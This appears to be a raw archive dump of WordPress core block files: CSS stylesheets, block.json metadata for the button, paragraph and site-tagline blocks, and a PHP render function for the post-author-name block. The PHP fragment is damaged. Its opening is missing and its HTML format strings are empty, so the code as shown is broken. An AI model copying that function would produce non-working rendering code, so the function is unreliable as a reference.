(var(--wp--style--block-gap, 0.5em) * 0.75)); } .wp-block-buttons > .wp-block-button.wp-block-button__width-50 { width: calc(50% - (var(--wp--style--block-gap, 0.5em) * 0.5)); } .wp-block-buttons > .wp-block-button.wp-block-button__width-75 { width: calc(75% - (var(--wp--style--block-gap, 0.5em) * 0.25)); } .wp-block-buttons > .wp-block-button.wp-block-button__width-100 { width: 100%; flex-basis: 100%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-25 { width: 25%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-50 { width: 50%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-75 { width: 75%; } .wp-block-button.is-style-squared, .wp-block-button__link.wp-block-button.is-style-squared { border-radius: 0; } .wp-block-button.no-border-radius, .wp-block-button__link.no-border-radius { border-radius: 0 !important; } .is-style-outline > :where(.wp-block-button__link), :where(.wp-block-button__link).is-style-outline { border: 2px solid currentColor; padding: 0.667em 1.333em; } .is-style-outline > .wp-block-button__link:not(.has-text-color), .wp-block-button__link.is-style-outline:not(.has-text-color) { color: currentColor; } .is-style-outline > .wp-block-button__link:not(.has-background), .wp-block-button__link.is-style-outline:not(.has-background) { background-color: transparent; }blocks/button/editor.min.css000064400000002056147177035020012127 0ustar00.wp-block[data-align=center]>.wp-block-button{text-align:center;margin-left:auto;margin-right:auto}.wp-block[data-align=right]>.wp-block-button{ /*!rtl:ignore*/text-align:right}.wp-block-button{position:relative;cursor:text}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid transparent;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}.wp-block-button__inline-link{color:#757575;height:0;overflow:hidden;max-width:290px}.wp-block-button__inline-link-input__suggestions{max-width:290px}@media (min-width:782px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:260px}}@media (min-width:960px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:290px}}.is-selected .wp-block-button__inline-link{height:auto;overflow:visible}.wp-button-label__width .components-button-group{display:block}.wp-button-label__width .components-base-control__field{margin-bottom:12px}div[data-type="core/button"]{display:table}blocks/button/block.json000064400000003755147177035020011341 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/button", "title": "Button", "category": "design", "parent": [ "core/buttons" ], "description": "Prompt visitors to take action with a button-style link.", "keywords": [ "link" ], "textdomain": "default", "attributes": { "url": { "type": "string", "source": "attribute", "selector": "a", "attribute": "href" }, "title": { "type": "string", "source": "attribute", "selector": "a", "attribute": "title" }, "text": { "type": "string", "source": "html", "selector": "a" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "a", "attribute": "target" }, "rel": { "type": "string", "source": "attribute", "selector": "a", "attribute": "rel" }, "placeholder": { "type": "string" }, "backgroundColor": { "type": "string" }, "textColor": { "type": "string" }, "gradient": { "type": "string" }, "width": { "type": "number" } }, "supports": { "anchor": true, "align": true, "alignWide": false, "color": { "__experimentalSkipSerialization": true, "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "__experimentalFontFamily": true, "__experimentalDefaultControls": { "fontSize": true } }, "reusable": false, "spacing": { "__experimentalSkipSerialization": true, "padding": [ "horizontal", "vertical" ], "__experimentalDefaultControls": { "padding": true } }, "__experimentalBorder": { "radius": true, "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "radius": true } }, "__experimentalSelector": ".wp-block-button__link" }, "styles": [ { "name": "fill", "label": "Fill", "isDefault": true }, { "name": "outline", "label": "Outline" } ], "editorStyle": "wp-block-button-editor", "style": "wp-block-button" } blocks/button/style-rtl.min.css000064400000004054147177035020012600 0ustar00.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;cursor:pointer;display:inline-block;font-size:1.125em;padding:calc(.667em + 2px) calc(1.333em + 2px);text-align:center;text-decoration:none;word-break:break-word;box-sizing:border-box}.wp-block-button__link:active,.wp-block-button__link:focus,.wp-block-button__link:hover,.wp-block-button__link:visited{color:#fff}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*0.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*0.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*0.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{width:100%;flex-basis:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.is-style-outline>:where(.wp-block-button__link),:where(.wp-block-button__link).is-style-outline{border:2px solid;padding:.667em 1.333em}.is-style-outline>.wp-block-button__link:not(.has-text-color),.wp-block-button__link.is-style-outline:not(.has-text-color){color:currentColor}.is-style-outline>.wp-block-button__link:not(.has-background),.wp-block-button__link.is-style-outline:not(.has-background){background-color:transparent}blocks/button/editor-rtl.min.css000064400000002034147177035020012722 0ustar00.wp-block[data-align=center]>.wp-block-button{text-align:center;margin-right:auto;margin-left:auto}.wp-block[data-align=right]>.wp-block-button{text-align:right}.wp-block-button{position:relative;cursor:text}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid transparent;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}.wp-block-button__inline-link{color:#757575;height:0;overflow:hidden;max-width:290px}.wp-block-button__inline-link-input__suggestions{max-width:290px}@media (min-width:782px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:260px}}@media (min-width:960px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:290px}}.is-selected .wp-block-button__inline-link{height:auto;overflow:visible}.wp-button-label__width .components-button-group{display:block}.wp-button-label__width .components-base-control__field{margin-bottom:12px}div[data-type="core/button"]{display:table}blocks/button/style.css000064400000007416147177035020011224 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-button__link { color: #fff; background-color: #32373c; border-radius: 9999px; box-shadow: none; cursor: pointer; display: inline-block; font-size: 1.125em; padding: calc(0.667em + 2px) calc(1.333em + 2px); text-align: center; text-decoration: none; word-break: break-word; box-sizing: border-box; } .wp-block-button__link:hover, .wp-block-button__link:focus, .wp-block-button__link:active, .wp-block-button__link:visited { color: #fff; } .wp-block-button__link.aligncenter { text-align: center; } .wp-block-button__link.alignright { /*rtl:ignore*/ text-align: right; } .wp-block-buttons > .wp-block-button.has-custom-width { max-width: none; } .wp-block-buttons > .wp-block-button.has-custom-width .wp-block-button__link { width: 100%; } .wp-block-buttons > .wp-block-button.has-custom-font-size .wp-block-button__link { font-size: inherit; } .wp-block-buttons > .wp-block-button.wp-block-button__width-25 { width: calc(25% - (var(--wp--style--block-gap, 0.5em) * 0.75)); } .wp-block-buttons > .wp-block-button.wp-block-button__width-50 { width: calc(50% - (var(--wp--style--block-gap, 0.5em) * 0.5)); } .wp-block-buttons > .wp-block-button.wp-block-button__width-75 { width: calc(75% - (var(--wp--style--block-gap, 0.5em) * 0.25)); } .wp-block-buttons > .wp-block-button.wp-block-button__width-100 { width: 100%; flex-basis: 100%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-25 { width: 25%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-50 { width: 50%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-75 { width: 75%; } .wp-block-button.is-style-squared, .wp-block-button__link.wp-block-button.is-style-squared { border-radius: 0; } .wp-block-button.no-border-radius, .wp-block-button__link.no-border-radius { border-radius: 0 !important; } .is-style-outline > :where(.wp-block-button__link), :where(.wp-block-button__link).is-style-outline { border: 2px solid currentColor; padding: 0.667em 1.333em; } .is-style-outline > .wp-block-button__link:not(.has-text-color), .wp-block-button__link.is-style-outline:not(.has-text-color) { color: currentColor; } .is-style-outline > .wp-block-button__link:not(.has-background), .wp-block-button__link.is-style-outline:not(.has-background) { background-color: transparent; }blocks/paragraph/editor-rtl.css000064400000003444147177035020012600 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus { min-height: auto !important; } .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder] { opacity: 1; } .block-editor-block-list__block[data-empty=true] + .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder] { opacity: 0; }blocks/paragraph/style.min.css000064400000000664147177035020012436 0ustar00.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;line-height:.68;font-weight:100;margin:.05em .1em 0 0;text-transform:uppercase;font-style:normal}p.has-drop-cap.has-background{overflow:hidden}p.has-background{padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}blocks/paragraph/editor.css000064400000003444147177035020012001 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus { min-height: auto !important; } .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder] { opacity: 1; } .block-editor-block-list__block[data-empty=true] + .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder] { opacity: 0; }blocks/paragraph/style-rtl.css000064400000003726147177035020012455 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .is-small-text { font-size: 0.875em; } .is-regular-text { font-size: 1em; } .is-large-text { font-size: 2.25em; } .is-larger-text { font-size: 3em; } .has-drop-cap:not(:focus)::first-letter { float: right; font-size: 8.4em; line-height: 0.68; font-weight: 100; margin: 0.05em 0 0 0.1em; text-transform: uppercase; font-style: normal; } p.has-drop-cap.has-background { overflow: hidden; } p.has-background { padding: 1.25em 2.375em; } :where(p.has-text-color:not(.has-link-color)) a { color: inherit; }blocks/paragraph/editor.min.css000064400000000512147177035020012554 0ustar00.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:0}blocks/paragraph/block.json000064400000002341147177035020011761 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/paragraph", "title": "Paragraph", "category": "text", "description": "Start with the basic building block of all narrative.", "keywords": [ "text" ], "textdomain": "default", "attributes": { "align": { "type": "string" }, "content": { "type": "string", "source": "html", "selector": "p", "default": "", "__experimentalRole": "content" }, "dropCap": { "type": "boolean", "default": false }, "placeholder": { "type": "string" }, "direction": { "type": "string", "enum": [ "ltr", "rtl" ] } }, "supports": { "anchor": true, "className": false, "color": { "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalSelector": "p", "__unstablePasteTextInline": true }, "editorStyle": "wp-block-paragraph-editor", "style": "wp-block-paragraph" } blocks/paragraph/style-rtl.min.css000064400000000665147177035020013236 0ustar00.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:right;font-size:8.4em;line-height:.68;font-weight:100;margin:.05em 0 0 .1em;text-transform:uppercase;font-style:normal}p.has-drop-cap.has-background{overflow:hidden}p.has-background{padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}blocks/paragraph/editor-rtl.min.css000064400000000512147177035020013353 0ustar00.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:0}blocks/paragraph/style.css000064400000003725147177035020011655 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .is-small-text { font-size: 0.875em; } .is-regular-text { font-size: 1em; } .is-large-text { font-size: 2.25em; } .is-larger-text { font-size: 3em; } .has-drop-cap:not(:focus)::first-letter { float: left; font-size: 8.4em; line-height: 0.68; font-weight: 100; margin: 0.05em 0.1em 0 0; text-transform: uppercase; font-style: normal; } p.has-drop-cap.has-background { overflow: hidden; } p.has-background { padding: 1.25em 2.375em; } :where(p.has-text-color:not(.has-link-color)) a { color: inherit; }blocks/post-author-name.php000064400000003436147177035020011751 0ustar00context['postId'] ) ) { $author_id = get_post_field( 'post_author', $block->context['postId'] ); } else { $author_id = get_query_var( 'author' ); } if ( empty( $author_id ) ) { return ''; } $author_name = get_the_author_meta( 'display_name', $author_id ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $author_name = sprintf( '', get_author_posts_url( $author_id ), esc_attr( $attributes['linkTarget'] ), $author_name ); } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '
    %2$s
    ', $wrapper_attributes, $author_name ); } /** * Registers the `core/post-author-name` block on the server. * * @since 6.2.0 */ function register_block_core_post_author_name() { register_block_type_from_metadata( __DIR__ . '/post-author-name', array( 'render_callback' => 'render_block_core_post_author_name', ) ); } add_action( 'init', 'register_block_core_post_author_name' ); blocks/site-tagline/editor-rtl.css000064400000003015147177035020013212 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-site-tagline__placeholder { padding: 1em 0; border: 1px dashed; }blocks/site-tagline/style.min.css000064400000000055147177035020013050 0ustar00.wp-block-site-tagline{box-sizing:border-box}blocks/site-tagline/editor.css000064400000003015147177035020012413 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-site-tagline__placeholder { padding: 1em 0; border: 1px dashed; }blocks/site-tagline/style-rtl.css000064400000000062147177035020013063 0ustar00.wp-block-site-tagline{ box-sizing:border-box; }blocks/site-tagline/editor.min.css000064400000000104147177035020013171 0ustar00.wp-block-site-tagline__placeholder{padding:1em 0;border:1px dashed}blocks/site-tagline/block.json000064400000002073147177035020012403 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/site-tagline", "title": "Site Tagline", "category": "theme", "description": "Describe in a few words what the site is about. The tagline can be used in search results or when sharing on social networks even if it's not displayed in the theme design.", "keywords": [ "description" ], "textdomain": "default", "attributes": { "textAlign": { "type": "string" } }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalTextTransform": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-site-tagline-editor" } blocks/site-tagline/style-rtl.min.css000064400000000055147177035020013647 0ustar00.wp-block-site-tagline{box-sizing:border-box}blocks/site-tagline/editor-rtl.min.css000064400000000104147177035020013770 0ustar00.wp-block-site-tagline__placeholder{padding:1em 0;border:1px dashed}blocks/site-tagline/style.css000064400000000062147177035020012264 0ustar00.wp-block-site-tagline{ box-sizing:border-box; }blocks/post-template/editor-rtl.css000064400000003055147177035020013427 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .editor-styles-wrapper ul.wp-block-post-template { padding-right: 0; margin-right: 0; list-style: none; }blocks/post-template/style.min.css000064400000002505147177035020013263 0ustar00.wp-block-post-template,.wp-block-query-loop{margin-top:0;margin-bottom:0;max-width:100%;list-style:none;padding:0}.wp-block-post-template.wp-block-post-template,.wp-block-query-loop.wp-block-post-template{background:none}.wp-block-post-template.is-flex-container,.wp-block-query-loop.is-flex-container{flex-direction:row;display:flex;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container li,.wp-block-query-loop.is-flex-container li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}blocks/post-template/editor.css000064400000003053147177035020012626 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .editor-styles-wrapper ul.wp-block-post-template { padding-left: 0; margin-left: 0; list-style: none; }blocks/post-template/style-rtl.css000064400000006010147177035020013273 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-template, .wp-block-query-loop { margin-top: 0; margin-bottom: 0; max-width: 100%; list-style: none; padding: 0; } .wp-block-post-template.wp-block-post-template, .wp-block-query-loop.wp-block-post-template { background: none; } .wp-block-post-template.is-flex-container, .wp-block-query-loop.is-flex-container { flex-direction: row; display: flex; flex-wrap: wrap; gap: 1.25em; } .wp-block-post-template.is-flex-container li, .wp-block-query-loop.is-flex-container li { margin: 0; width: 100%; } @media (min-width: 600px) { .wp-block-post-template.is-flex-container.is-flex-container.columns-2 > li, .wp-block-query-loop.is-flex-container.is-flex-container.columns-2 > li { width: calc((100% / 2) - 1.25em + (1.25em / 2)); } .wp-block-post-template.is-flex-container.is-flex-container.columns-3 > li, .wp-block-query-loop.is-flex-container.is-flex-container.columns-3 > li { width: calc((100% / 3) - 1.25em + (1.25em / 3)); } .wp-block-post-template.is-flex-container.is-flex-container.columns-4 > li, .wp-block-query-loop.is-flex-container.is-flex-container.columns-4 > li { width: calc((100% / 4) - 1.25em + (1.25em / 4)); } .wp-block-post-template.is-flex-container.is-flex-container.columns-5 > li, .wp-block-query-loop.is-flex-container.is-flex-container.columns-5 > li { width: calc((100% / 5) - 1.25em + (1.25em / 5)); } .wp-block-post-template.is-flex-container.is-flex-container.columns-6 > li, .wp-block-query-loop.is-flex-container.is-flex-container.columns-6 > li { width: calc((100% / 6) - 1.25em + (1.25em / 6)); } }blocks/post-template/editor.min.css000064400000000136147177035020013407 